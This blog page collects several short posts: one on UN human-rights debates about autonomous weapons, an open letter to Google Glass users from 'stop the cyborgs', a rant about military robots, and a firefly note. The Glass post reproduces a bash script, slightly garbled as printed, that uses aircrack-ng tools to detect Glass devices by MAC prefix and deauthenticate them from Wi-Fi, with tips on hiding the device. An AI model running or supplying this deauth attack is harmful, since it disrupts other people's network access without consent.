Minions Sought

Think about it: how much worse than your current position can employment as a minion be?

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Killer Robots

Concerns are increasing over the potential impact of fully autonomous weapons under human rights law, which applies during peacetime as well as armed conflict. Nations are expected to consider the matter at the next session of the Human Rights Council at the United Nations in Geneva, which opens on 10 June. The Campaign to Stop Killer Robots is convening a briefing on “human rights, disarmament, and killer robots” at the UN on June 11 – see the Flyer.

The UN Special Rapporteur on extrajudicial, summary or arbitrary executions, Professor Christof Heyns, is due to present his latest report (A -HRC-26-36) to the the Human Rights Council on 12 June recommending that the body “remain seized” with the issue of autonomous weapons systems and “make its voice heard as the international debate unfolds.” According to the report, fully autonomous weapons pose “far-reaching potential implications” to human rights, specifically the rights to life and dignity. The possibility that the weapons will be used in circumstances outside of armed conflict requires broad consideration by all actors in any fora and the Campaign to Stop Killer Robots supports the report’s conclusion that the weapons must remain on the agenda of the Human Rights Council to ensure that the human rights perspective is considered.

It remains to be seen if nations speaking on the topic at the Human Rights Council on 12 June will propose any specific action. Several countries have indicated their willingness to address the matter in more than one forum…

(previously || 2013 UN report)
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Glass Explorers

Dear Glass Explorers,

Greetings from ‘stop the cyborgs’ which you may know from our ban signs and possibly a few media articles. We are mainly technology people so we are definitely not ‘anti tech’. We are not calling for a complete government ban on wearable tech like glass. Nor do we believe that you shouldn’t wear it at all. Rather we want to help define sensible norms around where people do or don’t wear devices; encourage individual people to think about the social impact of new technologies; and to discourage the normalisation of surveillance.

Even though Google Glass is still a limited prototype it has generated excitement and controversy in equal measure. Whether you love it or loath one thing we can agree on is that it is a symbolically important device that represents a change in our relationship with technology. If the trajectory that glass represents is followed technology will become part of us, mediating every human decision and interaction for good or ill.

Glass, other wearables (and in future implants) are designed with the intention of making technology both invisible and omnipresent by integrating it closely with the body. The integration of corporate cloud services, technical devices, and the human body has three major implications…

An implication that the above missive did not address is counter revolutionaries: see the below script, which identifies and removes Glass wearers from your wireless network:

# Find and kick Google Glass devices from your local wireless network. Requires
# 'beep', 'arp-scan', 'aircrack-ng' and a GNU/Linux host. Put on a BeagleBone
# black or Raspberry Pi. Plug in a good USB wireless NIC (like the TL-WN722N)
# and wear it, hide it in your workplace or your exhibition.
# Save as, 'chmod +x' and exec as follows:
# sudo ./

shopt -s nocasematch # Set shell to ignore case

NIC=$1 # Your wireless NIC
BSSID=$2 # Network BSSID (exhibition, workplace, park)
MAC=$(/sbin/ifconfig | grep $NIC | head -n 1 | awk ‘{ print $5 }’)
GGMAC=’F8:8F:CA:24′ # May change as new editions of Google Glass are released
POLL=30 # Check every 30 seconds

airmon-ng stop mon0 # Pull down any lingering monitor devices
airmon-ng start $NIC # Start a monitor device
echo ‘

while true;
for TARGET in $(arp-scan -I $NIC –localnet | grep -o -E \\
if [[ $TARGET == *$GGMAC* ]]
# Audio alert
beep -f 1000 -l 500 -n 200 -r 2
echo “Glasshole discovered: “$TARGET
echo “De-authing…”
aireplay-ng -0 1 -a $BSSID -c $TARGET mon0
echo $TARGET”: is not a Google Glass. Leaving alone..”
echo “None found this round.”
sleep $POLL
airmon-ng stop mon0

(mucho previously)
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Oh fuck

Seriously, this is pretty much an “oh fuck” moment.

Or were you under the impression this is being developed to run like the wind to save little Timmy from drowning in that well? 1

No, in about a decade human flesh will be Terminator fodder; the world’s standing armies will be augmented by a plethora of tireless cheetah-quick robots (equipped with motion-tracking) and unmanned drones (equipped with literal Hell.)

It once was the case that you could improve your lot in life by joining the Marines or the Army. But once the robots are introduced into the mix…what life? 2

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Show 2 footnotes

  1. Poor Lassie, put out to pasture by the Terminator.
  2. To say nothing about what ‘normal’ civilian life will be like once they get the bright idea to use the robots as cops. Not pretty, my friends; not pretty at all.

Summer\’s Here

Yes, we know we appear to be early: Summer’s starting gun doesn’t officially fire until June 21st at 7:51 A.M, CDT.

But many Americans mark summer by unofficial means; Memorial Day pops the effervescent top of summer for many people; the “Drivers, start your engines!” announcement at the Indianapolis 500 nitro-fuels summer for others.

For us? It’s the first sighting of a firefly.

We spotted one, two, even three this evening, just over an hour ago.

Summer’s here.

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